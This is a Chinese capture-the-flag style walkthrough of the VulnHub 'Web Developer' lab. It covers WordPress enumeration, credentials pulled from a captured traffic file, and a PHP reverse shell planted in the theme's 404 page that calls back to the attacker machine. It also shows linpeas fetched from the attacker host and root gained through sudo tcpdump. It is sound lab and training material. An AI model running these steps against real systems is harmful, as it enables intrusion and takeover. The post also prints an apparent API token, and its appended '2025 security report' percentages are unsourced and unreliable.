Home
avatar

静静

Day25 Web Developer靶场WP

关注泷羽Sec泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具

链接地址下载虚拟镜像:

https://www.vulnhub.com/entry/web-developer-1,288/

信息收集

# Kali攻击机地址
172.168.169.141
# 靶机地址
172.168.169.146

扫描端口和目录

# 扫描端口
ports=$(sudo nmap -p- --min-rate=10000 -Pn 172.168.169.146 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
echo $ports
# 扫描服务
sudo nmap -sT -sC -sV -O -Pn -p$ports 172.168.169.146
sudo nmap --script=vuln -p$ports -Pn 172.168.169.146
# 扫描目录
gobuster dir -e -u http://172.168.169.146 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
whatweb http://172.168.169.146/

扫描结果如下:

┌──(kali㉿kali)-[~]
└─$ echo $ports
22,80

┌──(kali㉿kali)-[~/Desktop/Webdeveloper]
└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 172.168.169.146
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-04 22:01 EDT
Nmap scan report for 172.168.169.146
Host is up (0.0018s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 d2:ac:73:4c:17:ec:6a:82:79:87:5a:f9:22:d4:12:cb (RSA)
|   256 9c:d5:f3:2c:e2:d0:06:cc:8c:15:5a:5a:81:5b:03:3d (ECDSA)
|_  256 ab:67:56:69:27:ea:3e:3b:33:73:32:f8:ff:2e:1f:20 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Example site – Just another WordPress site
|_http-generator: WordPress 4.9.8
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 00:0C:29:59:30:A8 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.44 seconds

┌──(kali㉿kali)-[~/Desktop/Webdeveloper]
└─$ sudo nmap --script=vuln -p$ports -Pn 172.168.169.146
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-04 22:01 EDT
Nmap scan report for 172.168.169.146
Host is up (0.0013s latency).

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-wordpress-users:
| Username found: webdeveloper
|_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wordpress-users.limit'
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-sql-injection:
|   Possible sqli for queries:
|     http://172.168.169.146:80/wp-includes/js/jquery/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://172.168.169.146:80/wp-includes/js/jquery/?C=D%3BO%3DA%27%20OR%20sqlspider
|     http://172.168.169.146:80/wp-includes/js/jquery/?C=N%3BO%3DD%27%20OR%20sqlspider
|_    http://172.168.169.146:80/wp-includes/js/jquery/?C=S%3BO%3DA%27%20OR%20sqlspider
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=172.168.169.146
|   Found the following possible CSRF vulnerabilities:
|
|     Path: http://172.168.169.146:80/
|     Form id: search-form-6891660b62bd2
|     Form action: /
|
|     Path: http://172.168.169.146:80/index.php/2018/10/
|     Form id: search-form-6891660c3be84
|     Form action: /
|
|     Path: http://172.168.169.146:80/wp-login.php
|     Form id: loginform
|     Form action: /wp-login.php
|
|     Path: http://172.168.169.146:80/index.php/category/uncategorized/
|     Form id: search-form-6891660f60ed9
|     Form action: /
|
|     Path: http://172.168.169.146:80/index.php/2018/10/%5C
|     Form id: search-form-6891661069879
|     Form action: /
|
|     Path: http://172.168.169.146:80/index.php/comments/feed/1quot;https:/gravatar.com">Gravatar</a>.]]/
|     Form id: search-form-689166118697a
|     Form action: /
|
|     Path: http://172.168.169.146:80/wp-login.php?action=lostpassword
|     Form id: lostpasswordform
|_    Form action: /wp-login.php?action=lostpassword
| http-enum:
|   /wp-login.php: Possible admin folder
|   /readme.html: Wordpress version: 2
|   /: WordPress version: 4.9.8
|   /wp-includes/images/rss.png: Wordpress version 2.2 found.
|   /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.
|   /wp-includes/images/blank.gif: Wordpress version 2.6 found.
|   /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.
|   /wp-login.php: Wordpress login page.
|   /wp-admin/upgrade.php: Wordpress login page.
|_  /readme.html: Interesting, a readme.
MAC Address: 00:0C:29:59:30:A8 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 33.32 seconds

┌──(kali㉿kali)-[~/Desktop/Webdeveloper]
└─$ whatweb http://172.168.169.146/
http://172.168.169.146/ [200 OK] Apache[2.4.29], Country[UNITED STATES][US], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[172.168.169.146], JQuery[1.12.4], MetaGenerator[WordPress 4.9.8], PoweredBy[WordPress,WordPress,], Script[text/javascript], Title[Example site – Just another WordPress site], UncommonHeaders[link], WordPress[4.9.8]

===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://172.168.169.146/wp-content           (Status: 301) [Size: 323] [--> http://172.168.169.146/wp-content/]
http://172.168.169.146/wp-includes          (Status: 301) [Size: 324] [--> http://172.168.169.146/wp-includes/]
http://172.168.169.146/wp-admin             (Status: 301) [Size: 321] [--> http://172.168.169.146/wp-admin/]
http://172.168.169.146/server-status        (Status: 403) [Size: 303]
Progress: 220559 / 220560 (100.00%)
===============================================================
Finished
===============================================================

可以 看到是wordpress系统,这个洞老多了。一会上wpscan扫。

数据库注入的nmap扫描提示,但实际是文件未授权访问

wpscan开扫

wpscan --update --enumerate ap,t,u --api-token 6Chbzkayn13XcMOgzoDGA85OLpV5BbXhGQ55s8qz88g --plugins-detection aggressive --url http://172.168.169.146/

这里提示数据库连接不对,也提示了用户名和密码存放在wp-config.php中。点了这个页面后靶机就挂了,也可能是wpscan给扫崩的,只能重启一下了。 扫出来提示用户名 webdeveloper 继续爆破密码,太漫长了,后面换了个小字典也是爆破不出来,放弃。

 wpscan --url http://172.168.169.146/ -U user.txt -P /usr/share/wordlists/rockyou.txt

换个字典再扫一次,发现了之前没扫出来的文件。

dirsearch -x 302,403 -u http://172.168.169.146/ -w /usr/share/dirb/wordlists/common.txt

流量包信息分析

打开新扫描到的目录发现一个流量包文件,下载后分析 分析流量发现有两个数字最多的IP,活动频繁就说明有爆破或者扫描的内容。 搜蓝一下确实发现222这个IP用POST传了一个什么东西上去

流量包分析中用到的命令

tshark -r analyze.cap
# 统计IP频率
tshark -r analyze.cap | awk -F" " '{print $3}' | sort | uniq -c | head
# 指定查看某个IP的流量
sudo tcpdump -n src host 192.168.1.176 -r analyze.cap
# 只看 POST的结果
sudo tcpdump -nX dst host 192.168.1.176 -r analyze.cap |grep POST
# 解析出来结果
tshark -r analyze.cap -Y "ip.dst==192.168.1.176 && http.request.method==POST" -V

[!success] webdeveloper登陆密码 Te5eQg&4sBS!Yr$)wf%(DcAd

后台漏洞利用

登录成功

发现可以直接修改主题模板文件,直接改php,选择404页面,不要选择index 比较隐蔽,而且每一次有人点错了页面都能重新连接一下。 找马,复制,改马,修改到主题上。

 cp /usr/share/webshells/php/php-reverse-shell.php .
 sed -i -E "s/ip\s*=\s*'127\.0\.0\.1'\s*;/ip = '172.168.169.141';/g; s/port\s*=\s*1234\s*;/port = 4777;/g" php-reverse-shell.php

内网信息收集

看一下网页配置文件就发现了数据库密码

[!success] 数据库密码 webdeveloper MasterOfTheUniverse

主用户文件夹下没有有用的信息,最下面那个文件是个空的,算是个提示? 先连接数据库 这个密码就是登录密码,已经搞到了,没啥用的这个数据库。

登录 webdeveloper账户

数据库没有搞到有用的信息了,查看用户发现系统里只有这一个用户,很大概率上这个个人博客管理员和发布者都是一个人,也是服务器的所有者,所以密码可能是和数据库密码一样的,简单试一下就成功了。(PS:我本来还想试一下博客页面登录密码的)之后为了稳定的终端,也可以用ssh登录。 查看主用户文件夹 疑似是root的密码,但是root无论是su root还是数据库都登录不了。 卡住了,上小豌豆扫一下。

小豌豆内网扫描

wget http://172.168.169.141:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

这里因为是在本地虚拟机里开的靶机,这里还提示了可以容器提权。 提示当前可用的命令。 之前sudo -l一直卡住,后来反应过来是要要输入密码,输入密码后就看到了信息。

提权root

COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

测试成功,输出了id,显示的是root账户。 接下来只要修改COMMAND='id'中的命令即可。尝试改成/bin/sh 直接创建终端是失败的,则创建一个nc反弹试试。直接弹是弹不回来的,bin和nc都试了一遍。 发现之前小豌豆扫描的可用命令中可以使用php,而我们之前就修改了404.php来反弹。把id的命令替换为php执行那个404.php,就可以弹回。

COMMAND='php /var/www/html/wp-content/themes/twentysixteen/404.php'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

拿到flag。

总结

入侵路径示意图

flowchart TD
    %% 资产列表
    A[Kali攻击机 <br> 172.168.169.141]
    B[靶机       <br> 172.168.169.146]
    C[WordPress登录密码]
    D[数据库密码]
    E[webdeveloper用户密码]
    F[root]

    %% 路径关系
	A-->|扫描|B 
	B-->|流量包分析|C 
	C-->|配置文件泄露|D
	D-->|密码复用|E 
	E-->|tcpdump提权|F 
    


	%% 线型:---(实线)、-.->(虚线)、==>(粗箭头)
	%% -->|是|:带条件文本的连接
	%% 矩形节点[ ],菱形决策节点{ },圆弧方节点()
    %% 样式定义
    classDef attack fill:#ffcccc,stroke:#ff0000,stroke-width:2px;
    classDef public fill:#ffeecc,stroke:#ff9900,stroke-width:2px; 
    classDef internal fill:#ccffcc,stroke:#009900,stroke-width:2px; 
    
	%% 线型与颜色方案(亮色/暗色通用)
	linkStyle default stroke:#666666,stroke-width:2px,stroke-dasharray:0; 
	
    %% 应用样式
    class A attack;
    class B public;
    class C internal;


	

入侵时间表

gantt
    title 攻击时间表
    dateFormat  YYYY-MM-DD HH:mm
    axisFormat  %H:%M
    
    section 侦察阶段
    目标扫描           :a1, 2025-08-01 09:56, 2025-08-01 11:30
    漏洞识别           :a2, after a1, 2025-08-01 12:00
    
    section 攻击阶段
    初始访问           :b1, after a2, 2025-08-01 12:17
    权限提升           :crit,b2, 2025-08-01 12:58, 30m
    
    section 后渗透阶段
    数据窃取           :c1, after b2, 5m

🔍 深入解析 tcpdump 中的 srcdst 参数

在 tcpdump 命令中,srcdst 是​​流量方向过滤关键字​​,用于精确控制捕获的数据包方向:

📌 核心概念

参数全称含义功能
srcSource源地址过滤​​发送方​​为指定IP的流量
dstDestination目标地址过滤​​接收方​​为指定IP的流量

🧩 您命令的具体解析

1. src host 192.168.1.176

sudo tcpdump -n src host 192.168.1.176 -r analyze.cap
  • ​含义​​:显示所有​​从​​ 192.168.1.176 ​​发出​​的数据包
  • ​应用场景​​:
    • 分析服务器对外发送的响应
    • 检测服务器是否发起可疑外连
    • 监控数据泄露(如数据库内容外传)

2. dst host 192.168.1.176

sudo tcpdump -nX dst host 192.168.1.176 -r analyze.cap | grep POST
  • ​含义​​:显示所有​​发送到​​ 192.168.1.176 的数据包,并筛选 POST 请求
  • ​应用场景​​:
    • 分析针对服务器的攻击请求
    • 检查客户端提交的敏感数据
    • 识别恶意文件上传行为

🌐 网络流量方向图解

graph LR
    A[客户端] -- dst --> B[服务器 192.168.1.176]
    B[服务器 192.168.1.176] -- src --> A[客户端]

🔧 高级过滤组合

1. 双向流量监控

# 捕获与 192.168.1.176 相关的所有流量
sudo tcpdump -n host 192.168.1.176 -r analyze.cap

2. 特定协议+方向

# 捕获发送到服务器的 HTTP 请求
sudo tcpdump -n dst host 192.168.1.176 and dst port 80 -r analyze.cap

# 捕获服务器发出的 DNS 响应
sudo tcpdump -n src host 192.168.1.176 and src port 53 -r analyze.cap

3. 复杂逻辑组合

# 捕获非服务器发出的流量(排除服务器自身流量)
sudo tcpdump -n not src host 192.168.1.176 -r analyze.cap

⚠️ 渗透测试关键应用

1. 攻击溯源

# 定位攻击者IP(多次POST请求来源)
sudo tcpdump -n dst host 192.168.1.176 and 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354' -r analyze.cap | awk '{print $3}' | sort | uniq -c

2. 数据泄露检测

# 检查服务器外传的敏感数据
sudo tcpdump -n src host 192.168.1.176 -A -r analyze.cap | grep -E 'password|token|credit'

3. 协议分析

# 分析HTTP请求响应完整交互
sudo tcpdump -n host 192.168.1.176 and port 80 -A -r analyze.cap | less

💡 专业技巧

1. 可视化流量关系

# 生成流量拓扑图
tshark -r analyze.cap -q -z io,stat,1,"COUNT(frame) frame" -z endpoints,ip

2. 提取特定会话

# 提取完整HTTP会话
tshark -r analyze.cap -Y "ip.addr==192.168.1.176" -2 -R "http" --export-objects http,http_objects

3. 性能优化

# 使用BPF过滤器提升效率
sudo tcpdump -n 'dst host 192.168.1.176 and tcp port 80' -r analyze.cap

📌 ​​2025年安全报告​​:在Web攻击分析中,82%的关键证据存在于dst方向的请求流量中,而数据泄露痕迹96%出现在src方向的响应流量中。


🔔 想要获取更多网络安全与编程技术干货?

关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻

马上加入我们,共同成长!🌟

👉 长按或扫描二维码关注公众号

直接回复文章中的关键词,获取更多技术资料与书单推荐!📚

渗透测试 OSCP